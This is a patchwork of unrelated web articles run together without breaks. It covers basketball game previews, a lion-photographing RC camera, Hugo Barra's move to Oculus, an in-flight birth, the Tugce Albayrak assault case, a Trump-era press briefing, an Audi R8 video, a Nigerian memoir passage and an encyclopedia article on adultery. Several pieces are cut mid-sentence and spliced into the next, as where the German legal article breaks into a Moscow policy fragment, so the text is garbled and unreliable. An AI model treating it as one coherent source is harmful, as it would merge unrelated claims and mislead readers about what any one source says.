In another solid game on Tuesday night, a pair of two Washington D.C. area quads battle on FSI. Most Maryland fans felt like last year was the season to win it all, but with Melo Trimble back in the saddle, it's impossible to count the Terrapins out of contention in 2016.
It's unclear how John Thompson's group will look this season, but they have stiff competition in the Big East with Villanova, Xavier and Creighton at the top of the conference. There's a solid veteran presence on this year's Hoyas team with Bradley Hayes and Rodney Pryor, while sophomore center Jessie Govan is a promising prospect. This game will be telling to get a temperature of each squad, with more unknowns than knowns at this point.
Bored and looking for some entertainment during lunch Monday? We have it covered. Many people believe this year's No. 14 Gonzaga squad is primed for a huge year. After nearly missing the tournament to grinding to the Elite 8 in 2015, Mark Few's squad looks destined for a significant run.
The Zips can't afford to sleep on this early test against San Diego State. The Aztecs finished atop of the Mountain West for the third-straight outing last season, and look to be the favorite once again. Who doesn't love noon games on a Monday?
St. Marys
@
Dayton Saturday: 2 PM, ESPN 3
This one isn't flashy, but certainly interesting. St. Mary's is coming off an impressive 2015 campaign where it knocked off Gonzaga twice and claimed the West Coast Conference regular season title. Even more notable, this is a team with no losses from last year's squad.
Dayton should be a favorite once again in the Atlantic-10, but it will have to rely heavily on its backcourt for the first time in a long time. Last season, the Flyers had a major presence down low with Steve McElvene, but the Dayton forward unexpectedly passed away in the offseason. St. Marys should be favored, but Dayton can certainly put up a fight.
Michigan
vs.
Marquette Thursday: 9:30 PM, ESPN 2
These are two squads who have both been at the top of the NCAA, but haven't been part of the glory as of late. Michigan hasn't been the same since reaching the Final Four in 2013, and while it returns all of its starters, most college basketball experts peg the Wolverines to finish middle of the pack in the Big Ten.
Marquette lost its star freshman from a season ago, Henry Ellenson, but it returns a group of core proven players. Haanif Cheatham and Traci Carters will be the focal points in the backcourt, with Luke Fischer expected to produce down low. These squads are similar in many ways, making this game particularly intriguing.
Yale
@
Virginia Sunday: 1 PM, ACC Network
Yale was the talk of the NCAA tournament last season, after reaching the big dance for the first time in 54 years. The Bulldogs will look to forward Justin Sears and guard Makai Mason who each averaged 15 points per game a year ago.
No. 8 Virginia, led by head coach Tony Bennett, has the pieces in place for another special run. The Cavaliers lost four key players from last year's squad, but Tony Bennett showed his knack for recruiting by bringing in another talented class. Virginia should win this game, but Yale is built to make it interesting.Some wildlife photographers spend months immersed in muck to capture the perfect shot. The Burrard-Lucas brothers decided to let an RC car do the dirty work. Their BeetleCam came face-to-face with lions, elephants, and buffalo and captured these stunning shots:
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The BeetleCam is the ingenuous creation of Will and Matt Burrard-Lucas, two acclaimed UK wildlife photographers who wanted to get up close and personal with some of Africa's most dangerous animals (with a wide-angle lens, natch).
They strapped a Canon EOS 400D on top of a four-wheel drive buggy and rigged up one controller to operate the entire contraption. The photographs, recovered only after the BeetleCam was "promptly mauled, and carried off into the bush" by a pride of lions, show the animals from a unique, "I'm-a-small-rodent-about-to-get-snacked-on" perspective.
You can see more shots and read further about the BeetleCam's adventures on the brothers' site. [Burrard Lucas via Wired]Former Googler Hugo Barra announced recently that he was leaving his gig at Xiaomi, where he's worked as a global VP since 2013. Everyone was wondering where he would go, and now we know. Barra is Facebook-bound. Specifically, he's going to be the head of Oculus VR at Facebook.
We all got to know Hugo Barra when he was at Google as a VP and product spokesperson. He was undeniably one of the more personable and skilled presenters Google's Android team had on hand. He took the stage at several Google I/O keynotes, and we were sad to see him go. His job at Xiaomi was supposed to be overseeing the company's push into new markets. However, that fabled US launch is still in the works.
I'm excited that Hugo Barra is joining Facebook to lead all of our virtual reality efforts, including our Oculus team.... 由 Mark Zuckerberg 发布于 2017年1月25日
The announcement of Barra's new gig comes by way of Facebook founder and CEO Mark Zuckerberg. And of course, he posted it on Facebook. You can see the post above. As Zuckerberg points out, the VR selfie is the best he could do as Barra is still in China. In his previous announcement about leaving Xiaomi, Barra said he'd be heading back to the Bay Area. He'll take over daily operations at Oculus as soon as he gets here.NEW DELHI: A pregnant woman who was due in October was not expecting to give birth while she was flying from Dubai to the Philippines. But as luck would have it, she gave birth to a premature but healthy baby mid-air, forcing the plane to carry out an emergency landing in Hyderabad.This entire incident was shared on Facebook by a fellow passenger named Missy Berberabe Umandal. In her post she said that the airline, Cebu Pacific Air, in which this incident took place, has given 1,000,000 Get Go Points which would pay for almost all of the air trips the baby girl would go on to take in her lifetime. "She could be living in the plane if she wished," Berberabe said in the post.The mother's due delivery date was two months ahead. And the sudden contractions while she was flying in the plane, left everyone aghast and the flight attendants also panicked. Luckily, there were a couple of nurses on board with whose help, the baby was safely delivered. The flight attendants had quickly turned the cabin into a makeshift delivery room."We only heard one semi-loud screech, and a few seconds later, there were tinier, cute screeches, and it was when we knew the baby was born," her Facebook post read. " This is something you don't get to see everyday. It only happens in movies, and we're lucky to witness this miracle," Berberabe added.There were a few mothers with infants on board too and they had bags full of baby clothes and accessories, which obviously helped.She also posted a picture of the newborn wrapped in the blanket and resting in the arms of her mother.The flight was then diverted to India and landed at the Hyderabad airport to ensure the baby’s and her mother's safety.The baby girl is sure going places when she grows up. And that too, for free. Thanks to Cebu Pacific Airlines."Life in prison!" "Throw away the key!"
Calls like these are increasing on countless Internet forums, demanding long sentences for Sanel M., who was allegedly one of Tugce Albayrak's attackers.
Public prosecutors in the German city of Offenbach have accused the 18-year-old man of delivering a blow to 23-year-old Tugce Albayrak that ultimately led to her death.
According to prosecutors, Sanel M. confessed to being involved in the attack after his arrest. But he said he gave "only a slap" to Albayrak.
The blow was apparently hard enough to send Albayrak to the ground. It is currently unclear whether the head injuries she suffered came from the original blow or from her head striking the ground. The effect of the injuries, however, is clear: Albayrak was declared brain dead and her family later decided to switch off her life support machines.
Tugce Albayrak died on her 23rd birthday
Vigils for Albayrak drew thousands of people. Her funeral was attended by some 1,500 people and followed throughout Germany.
After the mourning, the national feeling has become one of incomprehension toward the 18-year-old who cut the woman's life short. The unemployed, Serbian-born man is said to have multiple convictions to his name and is considered a "criminally known repeat offender."
The news magazine Spiegel said on Sunday that police took a high blood alcohol reading from the young man two hours after the attack. Earlier that night, he and his friends had visited a discothek and consumed drinks, including whiskey.
His day in court
Prosecutors in Offenbach say the trial is to begin as soon as possible - which at the latest would mean six months. As there is currently no evidence or indication that the 18-year-old intended to kill the girl, the charges against him will not be manslaughter or murder but rather "bodily harm with fatal consequences."
If convicted of the charge, Sanel M. faces up to 10 years in prison.
In view of the known circumstances, German lawyer Hans-Jörg Albrecht said he foresees a sentence of between three and five years.
"The sentence that would be applied in this case would be no different than that for an adult committing the same crime," said Albrecht, director of the Max Planck Institute for Foreign and International Criminal Law.
Few in Germany want to impose longer sentences on juveniles
Other lawyers quoted in German media shared his assessment, adding that such a sentence would likely be perceived by the public as too lenient. A three-year sentence is conceivable, as is a reduction of that sentence to probation.
This is not due to timidity on the part of German judges, but to Germany's criminal law system.
Factors in the case
The court will first examine the crime itself. The video evidence from the scene of the crime - a McDonald's parking lot - shows the attack on Tugce. But the recordings are of such poor quality that what it shows could be open to much interpretation. Defenders may argue that Sanel M. was attacked and struck back in defense. It is still unclear whether the two girls Albayrak intervened to help will testify. In a court case, unclear statements have clear consequences: When in doubt, side with the defendant.
What will be decisive, then, is the accused himself: Sanel M., who turned 18 just days before the attack. That means he is an "adult" under Germany's criminal law. In the case of an 18-year-old, however, lawyers typically refer to defendants as "adolescents" or "young adults." That means Sanel M. can be tried under as someone between the ages of 18 and 21, as an adult or as a juvenile.
"The accused will not be judged more mildly in this case should the juvenile justice system be applied," Albrecht said.
Even within the juvenile justice system, the "seriousness of the offense" is coupled to the verdict. The fact that |
to partner with Moscow to combat the Islamic State group.
In his first daily White House press briefing, press secretary Sean Spicer said on Monday that President Donald Trump has been "very clear" that he will "work with any country committed to defeating ISIS".
He said the administration will work "with Russia or anyone else" to defeat the militant group, either militarily or economically.
The president has vowed to defeat IS "quickly" when he takes office, though he has not provided specifics on his plans for US military efforts in Iraq and Syria.
APThe 2017 Audi R8 V10 Spyder is something of beauty without being overly opulent. The classic German engineering has yielded some amazing vehicles and the R8 is right up there with the best of them. Unfortunately, few with ever be able to drive one due to the $175,100 starting price tag of the 2017 Audi R8 V10 Spyder. However, the next best thing would be to enjoy a POV drive of the sporty V-10.
In the video below, we are graced with a first-person view of driving the 2017 Audi R8 V10 Spyder during Top Marques in Monaco. The wonderful sound of the blaring V-10 can be heard echoing through the hills and the wind can be heard whistling by the camera as the car rockets to 60 mph in 3.5 seconds.
Powered by a naturally aspirated 540 horsepower and 398 lb-ft of torque 5.2-liter V-10, the 2017 Audi R8 V10 Spyder is truly a track monster. It is unclear whether or not ADP Performance has chipped the car but decaling on the doors indicate that may be possible.
Overall, the video is a blast to watch, but The Drive disagrees with some of the driver's lane decisions as he cuts corners.My father’s first child was a girl. He said she was a loud squalling baby who grasped his finger with surprising strength, and he knew it meant she would be tough. But she died at the age of four months. The second, a boy, was not yet four months old before he died. Some people from my father’s family said my mother was a witch, eating her children, trading their innocent hearts in exchange for her own long life. But, at that time, other babies in our village in Edo were dying too. They got sick with watery shit and weak eyes. Some people said the diarrhea was punishment from God. The Christians prayed in church. The Muslims prayed at the mosque. The old people performed sacrifices. Still, babies died, and their tiny still bodies were wrapped in cloth and buried, and it seemed senseless that they had even been born at all.
It was 1985. My father was working as a driver at the Ministry of Health. He was in the general pool, a lowly position. One day, he picked up a visiting dignitary from the airport, dropped him at his hotel, and then discovered, lodged in the back seat of the car, a thick envelope of cash that had slid out of the man’s bag. He returned it immediately. The man was so pleased — and surprised—that he told the new Minister of Health about it. Two days later, the new Minister asked for my father. “I want you to be my driver,” The Minister said. “I value honesty.”
The Minister’s name was Dr. Olikoye Ransome-Kuti. He had big sleepy eyes and seemed to come from another time in the past when old-fashioned integrity was easy. His simplicity surprised my father. He was not interested in the usual carousing of the powerful, no late nights and drinking and trysts, and my father did not have to guard any secrets for him. He ate breakfast with his family every morning, and took walks with his wife in the evening, and played tennis with his children on weekends. He listened attentively, those half-closed eyes so intent that my father, at first, felt uncomfortable when they were trained on him.
The Minister asked my father about his family, and my father told him everyone was fine. The Minister asked how many children he had, and my father said none yet, but that his wife was pregnant and due in a few weeks. (My mother was pregnant with me.) Then the minister asked a question that startled my father. “How many of your children have died?”
My father stuttered and said, “Two, sir, but we are praying that it will not happen again.” The Minister told him it was good to pray, but there was something else he had to do. “Our children are dying of simple illnesses and that must stop. I want you to take me to your village. I have started a program in Lagos but I want to start others in different parts of the country. We will go to your village next week.” It took my heavy-tongued father a while to find his voice and say, “Yes sir.”This article is about the act of adultery or extramarital sex. For other uses, see Adultery (disambiguation). For a broad overview, see Religion and sexuality
Adultery (from Latin adulterium) is extramarital sex that is considered objectionable on social, religious, moral, or legal grounds. Although what sexual activities constitute adultery varies, as well as the social, religious, and legal consequences, the concept exists in many cultures and is similar in Christianity, Islam, and Judaism.[1] A single act of sexual intercourse is generally sufficient to constitute adultery, and a more long-term sexual relationship is sometimes referred to as an affair.
Historically, many cultures have considered adultery to be a very serious crime. Adultery often incurred severe punishment, usually for the woman and sometimes for the man, with penalties including capital punishment, mutilation, or torture.[2] Such punishments have gradually fallen into disfavor, especially in Western countries from the 19th century. In most Western countries, adultery itself is no longer a criminal offense, but may still have legal consequences, particularly in divorce cases. For example, in fault-based family law jurisdictions, adultery almost always constitutes a ground for divorce and may be a factor in property settlement, the custody of children, the denial of alimony, etc. Adultery is not a ground for divorce in jurisdictions which have adopted a no-fault divorce model. In some societies and among certain religious adherents, adultery may affect the social status of those involved, and may result in social ostracism.
In countries where adultery is a criminal offense, punishments range from fines to caning[3] and even capital punishment. Since the 20th century, criminal laws against adultery have become controversial, with international organizations calling for their abolition, especially in the light of several high-profile stoning cases that have occurred in some countries. The head of the United Nations expert body charged with identifying ways to eliminate laws that discriminate against women or are discriminatory to them in terms of implementation or impact, Kamala Chandrakirana, has stated that: "Adultery must not be classified as a criminal offence at all".[4] A joint statement by the United Nations Working Group on discrimination against women in law and in practice states that: "Adultery as a criminal offence violates women’s human rights".[5]
In Muslim countries that follow Sharia law for criminal justice, the punishment for adultery may be stoning.[6] There are fifteen[7] countries in which stoning is authorized as lawful punishment, though in recent times it has been legally carried out only in Iran and Somalia.[8] Most countries that criminalize adultery are those where the dominant religion is Islam, and several Sub-Saharan African Christian-majority countries, but there are some notable exceptions to this rule, namely Philippines, Taiwan, and several U.S. states. In some jurisdictions, having sexual relations with the king's wife or the wife of his eldest son constitutes treason.[9] By analogy, in cultures which value and normally practice exclusive interpersonal relationships, sexual relations with a person outside the relationship may also be described as infidelity or cheating, and is subject to sanction.
Overview [ edit ]
Public punishment of adulterers in Venice, 17th century
The term adultery refers to sexual acts between a married person and someone who is not that person's spouse.[10][11][12] It may arise in criminal law or in family law. For instance, in the United Kingdom, adultery is not a criminal offense, but is a ground for divorce,[13] with the legal definition of adultery being "physical contact with an alien and unlawful organ".[14] Extramarital sexual acts not fitting this definition are not "adultery" though they may constitute "unreasonable behavior", also a ground of divorce.
The application of the term to the act appears to arise from the idea that "criminal intercourse with a married woman... tended to adulterate the issue [children] of an innocent husband... and to expose him to support and provide for another man's [children]".[15] Thus, the "purity" of the children of a marriage is corrupted, and the inheritance is altered.
Some adultery laws differentiate based on the sex of the participants, and as a result such laws are often seen as discriminatory, and in some jurisdictions they have been struck down by courts, usually on the basis that they discriminated against women.[16][17]
The term adultery, rather than extramarital sex, implies a moral condemnation of the act; as such it is usually not a neutral term because it carries an implied judgment that the act is wrong.[18]
Adultery refers to sexual relations which are not officially legitimized; for example it does not refer to having sexual intercourse with multiple partners in the case of polygamy (when a man is married to more than one wife at a time, called polygyny; or when a woman is married to more than one husband at a time, called polyandry).
Definitions and legal constructs [ edit ]
[19] Anne Boleyn was found guilty of adultery and treason and executed in 1536. There is controversy among historians as to whether she had actually committed adultery.
Le supplice des adultères, by Jules Arsène Garnier, showing two adulterers being punished, by Jules Arsène Garnier, showing two adulterers being punished
In the traditional English common law, adultery was a felony. Although the legal definition of adultery differs in nearly every legal system, the common theme is sexual relations outside of marriage, in one form or another. In archaic law, there was a tort of adultery, called criminal conversation, "conversation" being an old expression for sexual intercourse. This tort has been abolished in almost all jurisdictions.
Traditionally, many cultures, particularly Latin American ones, had strong double standards regarding male and female adultery, with the latter being seen as a much more serious violation.[20][21][22]
Adultery involving a married woman and a man other than her husband was considered a very serious crime. In 1707, English Lord Chief Justice John Holt stated that a man having sexual relations with another man's wife was "the highest invasion of property" and claimed, in regard to the aggrieved husband, that "a man cannot receive a higher provocation" (in a case of murder or manslaughter).[23]
The Encyclopedia of Diderot & d'Alembert, Vol. 1 (1751), also equated adultery to theft writing that, "adultery is, after homicide, the most punishable of all crimes, because it is the most cruel of all thefts, and an outrage capable of inciting murders and the most deplorable excesses."[24]
Legal definitions of adultery vary. For example, New York defines an adulterer as a person who "engages in sexual intercourse with another person at a time when he has a living spouse, or the other person has a living spouse."[25] North Carolina defines adultery as occurring when any man and woman "lewdly and lasciviously associate, bed, and cohabit together."[26] Minnesota law provides: "when a married woman has sexual intercourse with a man other than her husband, whether married or not, both are guilty of adultery."[27] In the 2003 New Hampshire Supreme Court case Blanchflower v. Blanchflower, it was held that female same-sex sexual relations did not constitute sexual intercourse, based on a 1961 definition from Webster's Third New International Dictionary; and thereby an accused wife in a divorce case was found not guilty of adultery. In 2001, Virginia prosecuted an attorney, John R. Bushey, for adultery, a case that ended in a guilty plea and a $125 fine.[28][29] Adultery is against the governing law of the U.S. military.[30]
In common-law countries, adultery was also known as criminal conversation. This became the name of the civil tort arising from adultery, being based upon compensation for the other spouse's injury.[31] Criminal conversation was usually referred to by lawyers as crim. con., and was abolished in England in 1857, and the Republic of Ireland in 1976. Another tort, alienation of affection, arises when one spouse deserts the other for a third person.[32] This act was also known as desertion, which was often a crime as well.[33] A small number of jurisdictions still allow suits for criminal conversation and/or alienation of affection.[34] In the United States, six states still maintain this tort.[35][36]
A marriage in which both spouses agree ahead of time to accept sexual relations by either partner with others is sometimes referred to as an open marriage or the swinging lifestyle. Polyamory, meaning the practice, desire, or acceptance of intimate relationships that are not exclusive with respect to other sexual or intimate relationships, with knowledge and consent of everyone involved, sometimes involves such marriages. Swinging and open marriages are both a form of non-monogamy, and the spouses would not view the sexual relations as objectionable. However, irrespective of the stated views of the partners, extra-marital relations could still be considered a crime in some legal jurisdictions which criminalize adultery.
In Canada, though the written definition in the Divorce Act refers to extramarital relations with someone of the opposite sex, a British Columbia judge used the Civil Marriage Act in a 2005 case to grant a woman a divorce from her husband who had cheated on her with another man, which the judge felt was equal reasoning to dissolve the union.
In the United Kingdom, case law restricts the definition of adultery to penetrative sexual intercourse between a man and a woman, no matter the gender of the spouses in the marriage, although infidelity with a person of the same gender can be grounds for a divorce as unreasonable behavior; this situation was discussed at length during debates on the Marriage (Same-Sex Couples) Bill.[37]
In India, adultery is the sexual intercourse of a man with a married woman without the consent of her husband when such sexual intercourse does not amount to rape. It was a non-cognizable, non-bailable criminal offence, until the relevant law was overturned by the Supreme Court of India on 27 September 2018.[38]
Punishment [ edit ]
Punishments for adultery vary from place to place. Where adultery is illegal, the punishment varies from fines (for example in the US state of Rhode Island[39]) to caning in parts of Asia.[40][41] There are fifteen[7] countries in which stoning is authorized as lawful punishment, although in recent times it has been legally enforced only in Iran and Somalia.[8] Most stoning cases are the result of mob violence, and while technically illegal, no action is usually taken against perpetrators. Sometimes such stonings are ordered by informal village leaders who have de facto power in the community.[42] Adultery may have consequences under civil law even in countries where it is not outlawed by the criminal law. For instance it may constitute fault in countries where the divorce law is fault based or it may be a ground for tort.
In some societies the law punishes the "intruder", rather than the adulterous spouse. For instance art 266 of the Penal Code of South Sudan reads: "Whoever, has consensual sexual intercourse with a man or woman who is and whom he or she has reason to believe to be the spouse of another person, commits the offence of adultery [...]".[43] Similarly, under the adultery law in India (Section 497 of the Indian Penal Code, until overturned by the Supreme Court in 2018) it was a criminal offense for a man to have consensual sexual intercourse with a married woman, without the consent of her husband (no party was criminally punished in case of adultery between a married man and an unmarried woman).
Legal issues regarding paternity [ edit ]
Historically, paternity of children born out of adultery has been seen as a major issue. Modern advances such as reliable contraception and paternity testing have changed the situation (in Western countries). Most countries nevertheless have a legal presumption that a woman's husband is the father of her children who were born during that marriage. Although this is often merely a rebuttable presumption, many jurisdictions have laws which restrict the possibility of legal rebuttal (for instance by creating a legal time limit during which paternity may be challenged – such as a certain number of years from the birth of the child).[44] Establishing correct paternity may have major legal implications, for instance in regard to inheritance.
Children born out of adultery suffered, until recently, adverse legal and social consequences. In France, for instance, a law that stated that the inheritance rights of a child born under such circumstances were, on the part of the married parent, half of what they would have been under ordinary circumstances, remained in force until 2001, when France was forced to change it by a ruling of the European Court of Human Rights (ECtHR) (and in 2013, the ECtHR also ruled that the new 2001 regulations must be also applied to children born before 2001).[45]
There has been, in recent years, a trend of legally favoring the right to a relation between the child and its biological father, rather than preserving the appearances of the'social' family. In 2010, the ECtHR ruled in favor of a German man who had fathered twins with a married woman, granting him right of contact with the twins, despite the fact that the mother and her husband had forbidden him from seeing the children.[46]
Prevalence [ edit ]
Durex's Global Sex Survey found that worldwide 22% of people surveyed admitted to have had extramarital sex.[47][48]
In the United States Alfred Kinsey found in his studies that 50% of males and 26% of females had extramarital sex at least once during their lifetime.[49] Depending on studies, it was estimated that 26–50% of men and 21–38% of women,[50] or 22.7% of men and 11.6% of women, had extramarital sex.[51] Other authors say that between 20% and 25% of Americans had sex with someone other than their spouse.[52]
Three 1990s studies in the United States, using nationally representative samples, have found that about 10–15% of women and 20–25% of men admitted to having engaged in extramarital sex.[51][53][54]
The Standard Cross-Cultural Sample described the occurrence of extramarital sex by gender in over 50 pre-industrial cultures. The occurrence of extramarital sex by men is described as "universal" in 6 cultures, "moderate" in 29 cultures, "occasional" in 6 cultures, and "uncommon" in 10 cultures. The occurrence of extramarital sex by women is described as "universal" in 6 cultures, "moderate" in 23 cultures, "occasional" in 9 cultures, and "uncommon" in 15 cultures.[55][56]
Cultural and religious traditions [ edit ]
Man and woman undergoing public exposure for adultery in Japan, around 1860
Greco-Roman world [ edit ]
In the Greco-Roman world, there were stringent laws against adultery, but these applied to sexual intercourse with a married woman. In the early Roman Law, the jus tori belonged to the husband. It was therefore not a crime against the wife for a husband to have sex with a slave or an unmarried woman.[57][58]
The Roman husband often took advantage of his legal immunity. Thus we are told by the historian Spartianus that Verus, the imperial colleague of Marcus Aurelius, did not hesitate to declare to his reproaching wife: "Uxor enim dignitatis nomen est, non voluptatis." ('Wife' connotes rank, not sexual pleasure, or more literally "Wife is the name of dignity, not bliss") (Verus, V).
Later in Roman history, as William E.H. Lecky has shown, the idea that the husband owed a fidelity similar to that demanded of the wife must have gained ground, at least in theory. Lecky gathers from the legal maxim of Ulpian: "It seems most unfair for a man to require from a wife the chastity he does not himself practice".[59]
According to Plutarch, the lending of wives practiced among some people was also encouraged by Lycurgus, though from a motive other than that which actuated the practice (Plutarch, Lycurgus, XXIX). The recognized license of the Greek husband may be seen in the following passage of the pseudo-Demosthenic Oration Against Neaera:
We keep mistresses for our pleasures, concubines for constant attendance, and wives to bear us legitimate children and to be our faithful housekeepers. Yet, because of the wrong done to the husband only, the Athenian lawgiver Solon allowed any man to kill an adulterer whom he had taken in the act. (Plutarch, Solon)
The Roman Lex Julia, Lex Iulia de Adulteriis Coercendis (17 BC), punished adultery with banishment.[60] The two guilty parties were sent to different islands ("dummodo in diversas insulas relegentur"), and part of their property was confiscated.[60] Fathers were permitted to kill daughters and their partners in adultery. Husbands could kill the partners under certain circumstances and were required to divorce adulterous wives.
Abrahamic religions [ edit ]
Christianity [ edit ]
The Hebrew Bible prohibits adultery in the Seventh Commandment, "Thou shalt not commit adultery." (Exodus 20:12). Leviticus 20:10 prescribes capital punishment for adultery between a man and married woman:
And the man that committeth adultery with another man's wife, even he that committeth adultery with his neighbour's wife, the adulterer and the adulteress shall surely be put to death.
Significantly, the penalty does not extend to sex by an unmarried woman and irrespective of the marital status of the man.
Furthermore, Deuteronomic code prescribes stoning not only for female extramarital sex, but also for female premarital sex in the case where the woman lies about her virginity:
If any man take a wife, and go in unto her, … and say, / I took this woman, and when I came to her, I found her not a maid. / … But if this thing be true, and the tokens of virginity be not found for the damsel: / Then they shall bring out the damsel to the door of her father's house, and the men of her city shall stone her with stones that she die. (Deut. 22:13-21).
It also prescribes the same for engaged women who lie with another man, under the premise that if she allows the action without protesting, this indicates willingness.
If a damsel that is a virgin be betrothed unto an husband, and a man find her in the city, and lie with her; / Then ye shall bring them both out unto the gate of that city, and ye shall stone them with stones that they die; the damsel, because she cried not, being in the city. (Deut. 22:23-24).
Adultery is considered by Christians to be immoral and a sin, based primarily on passages like Exodus 20:14 and 1 Corinthians 6:9–10. Although 1 Corinthians 6:11 does say that "and that is what some of you were. But you were washed", it still acknowledges adultery to be immoral and a sin.
Catholicism ties fornication with breaking the sixth commandment in its Catechism.[61]
Until a few decades ago,[when?] adultery was a criminal offense in many countries where the dominant religion is Christianity, especially in Roman Catholic countries (see also the section on Europe). Adultery was decriminalized in Argentina in 1995,[62] and in Brazil in 2005;[63] but in some predominantly Catholic countries, such as the Philippines, it remains illegal. The Book of Mormon also prohibits adultery. For instance, Abinadi cites the Ten Commandments when he accuses King Noah's priests of sexual immorality.[64] When Jesus Christ visits the Americas he reinforces the law and teaches them the higher law (also found in the New Testament):
Behold, it is written by them of old time, that thou shalt not commit adultery; but I say unto you, that whosoever looketh on a woman, to lust after her, hath committed adultery already in his heart.[65]
Some churches such as The Church of Jesus Christ of Latter-day Saints have interpreted "adultery" to include all sexual relationships outside of marriage, regardless of the marital status of the participants.[66] Book of Mormon prophets and civil leaders often list adultery as an illegal activity along with murder, robbing, and stealing.[67]
Judaism [ edit ]
Adultery in Judaism is prohibited by the Seventh Commandment, "Thou shalt not commit adultery.". Adultery in traditional Judaism applies to both parties, but depends on the marital status of the woman (Lev. 20:10). Though the Torah prescribes the death penalty for adultery, the legal procedural requirements were very exacting and required the testimony of two eyewitnesses of good character for conviction. The defendant also must have been warned immediately before performing the act.[68] A death sentence could be issued only during the period when the Holy Temple stood, and only so long as the Supreme Torah Court convened in its chamber within the Temple complex.[69] Today, therefore, no death penalty applies.[70]
The death penalty for adultery was strangulation,[71] except in the case of a woman who was the daughter of a Kohain (Aaronic priestly caste), which was specifically mentioned by Scripture by the death penalty of burning (pouring molten lead down the throat).[72] Ipso facto, there never was mentioned in Pharisaic or Rabbinic Judaism sources a punishment of stoning for adulterers as mentioned in John 8.
At the civil level, however, Jewish law (halakha) forbids a man to continue living with an adulterous wife, and he is obliged to divorce her. Also, an adulteress is not permitted to marry the adulterer, but, to avoid any doubt as to her status as being free to marry another or that of her children, many authorities say he must give her a divorce as if they were married.[73]
According to Judaism, the Seven laws of Noah apply to all of humankind; these laws prohibit adultery with another man's wife.[74]
The Ten Commandments were meant exclusively for Jewish males.[75] Michael Coogan writes that according to the text the wives are the property of their man, marriage meaning transfer of property (from father to husband),[75] and women are less valuable than real estate, being mentioned after real estate.[75] Adultery is violating the property right of a man.[76] Coogan's book was criticized by Phyllis Trible, who argues that he failed to note that patriarchy was not decreed, but only described by God, patriarchy being specific to people after the fall.[77] She states that Paul the Apostle made the same mistake as Coogan.[77]
Originally this commandment forbade male Israelites from having sexual intercourse with the wife of another Israelite; the prohibition did not extend to their own slaves. Sexual intercourse between an Israelite man, married or not, and a woman who was neither married or betrothed was not considered adultery.[78] This concept of adultery stems from the economic aspect of Israelite marriage whereby the husband has an exclusive right to his wife, whereas the wife, as the husband's possession, did not have an exclusive right to her husband.[79]
David's sexual intercourse with Bathsheba, the wife of Uriah, did not count as adultery. According Jennifer Wright Knust, this was because Uriah was no Jew, and only Jewish men were protected by the legal code from Sinai.[80] However, according to the Babylonian Talmud, Uriah was indeed Jewish [81][82] and wrote a provisional bill of divorce prior to going out to war, specifying that if he fell in battle, the divorce would take effect from the time the writ was issued.[83][84]
Islam [ edit ]
Zina (زنا) is an Arabic term for illegal intercourse, premarital or extramarital. Various conditions and punishments have been attributed to adultery.
Under Muslim law, adultery in general is sexual intercourse by a person (whether man or woman) with someone to whom they are not married. Adultery is a violation of the marital contract and one of the major sins condemned by Allah in the Qur'an:
Qur'anic verses prohibiting adultery include:
"Do not go near to adultery. Surely it is a shameful deed and evil, opening roads (to other evils)."[Quran 17:32]
"Say, 'Verily, my Lord has prohibited the shameful deeds, be it open or secret, sins and trespasses against the truth and reason.'"[Quran 7:33]
Punishments are reserved to the legal authorities and false accusations are to be punished severely.[85] It has been said that these legal procedural requirements were instituted to protect women from slander and false accusations: i.e. four witnesses of good character are required for conviction, who were present at that time and saw the deed taking place; and if they saw it they were not of good moral character, as they were looking at naked adults; thus no one can be convicted of adultery unless both of the accused also agree and give their confession under oath four times.[86]
According to Muhammad, an unmarried person who commits adultery or fornication is punished by flogging 100 times; a married person will then be stoned to death.[87] A survey conducted by the Pew Research Center found support for stoning as a punishment for adultery mostly in Arab countries; it was supported in Egypt (82% of respondents in favor of the punishment) and Jordan (70% in favor), as well as Pakistan (82% favor), whereas in Nigeria (56% in favor) and in Indonesia (42% in favor) opinion is more divided, perhaps due to diverging traditions and differing interpretations of Sharia.[88]
Eastern religions [ edit ]
Hinduism [ edit ]
The Hindu Sanskrit texts present a range of views on adultery, offering widely differing positions.[89][90] The hymn 4.5.5 of the Rigveda calls adultery as pāpa (evil, sin).[91][92] Other Vedic texts, states Rick Talbott, state adultery to be a sin, just like murder, incest, anger, evil thoughts and trickery.[93] According to the Indologist Wendy Doniger, the Vedic texts, including the Rigveda, the Atharvaveda and the Upanishads, also acknowledge the existence of male lovers and female lovers as a basic fact of human life, followed by the recommendation that one should avoid such extra marital sex during certain ritual occasions (yajna).[89] A number of simile in the Rigveda, states Doniger, a woman's emotional eagerness to meet her lover is described, and one hymn prays to the gods that they protect the embryo of a pregnant wife as she sleeps with her husband and other lovers.[89]
Adultery and similar offenses are discussed under one of the eighteen vivādapadas (titles of laws) in the Dharma literature of Hinduism.[94] Adultery is termed as Strisangrahana in dharmasastra texts.[95] These texts generally condemn adultery, with some exceptions involving consensual sex and niyoga (levirate conception) in order to produce an heir.[96][97] According to Apastamba Dharmasutra, the earliest dated Hindu law text, cross-varna adultery is a punishable crime, where the adulterous man receives a far more severe punishment than the adulterous arya woman.[98] In Gautama Dharmasutra, the adulterous arya woman is liable to harsh punishment for the cross-class adultery.[98] According to Ludo Rocher, while Gautama Dharmasutra reserves the punishment in cases of cross-class adultery, it seems to have been generalized by Vishnu Dharmasastra and Manusmiriti.[99] The recommended punishments in the text also vary between these texts.[99]
Mandagadde Rama Jois translates verse 4.134 of Manusmriti as declaring adultery to be a heinous offense.[100] The Manusmriti does not include adultery as a "grievous sin", but includes it as a "secondary sin" that leads to a loss of caste, states the Indologist and Sanskrit scholar Patrick Olivelle.[101] In the Manusmriti, the intent and mutual consent are a part that determine the recommended punishment. Rape is not considered as adultery for the woman, while the rapist is punished severely. Lesser punishment is recommended for consensual adulterous sex.[98] Death penalty is mentioned by Manu,[102] as well as "penance" for the sin of adultery.[101][103] even in cases of repeated adultery wth a man of the same caste.[104] According to Doniger, Manu in his verses 8.362-363 is stating that sexual relations with the wife of traveling performer is not a sin, and exempts such sexual liaisons.[105][106] The Manusmriti, states Doniger, offers two views on adultery. It recommends a new married couple to remain sexually faithful to each other for life. It also accepts that adulterous relationships happen, children are born from such relationships and then proceeds to reason that the child belongs to the legal husband of the pregnant woman, and not to the biological father.[107]
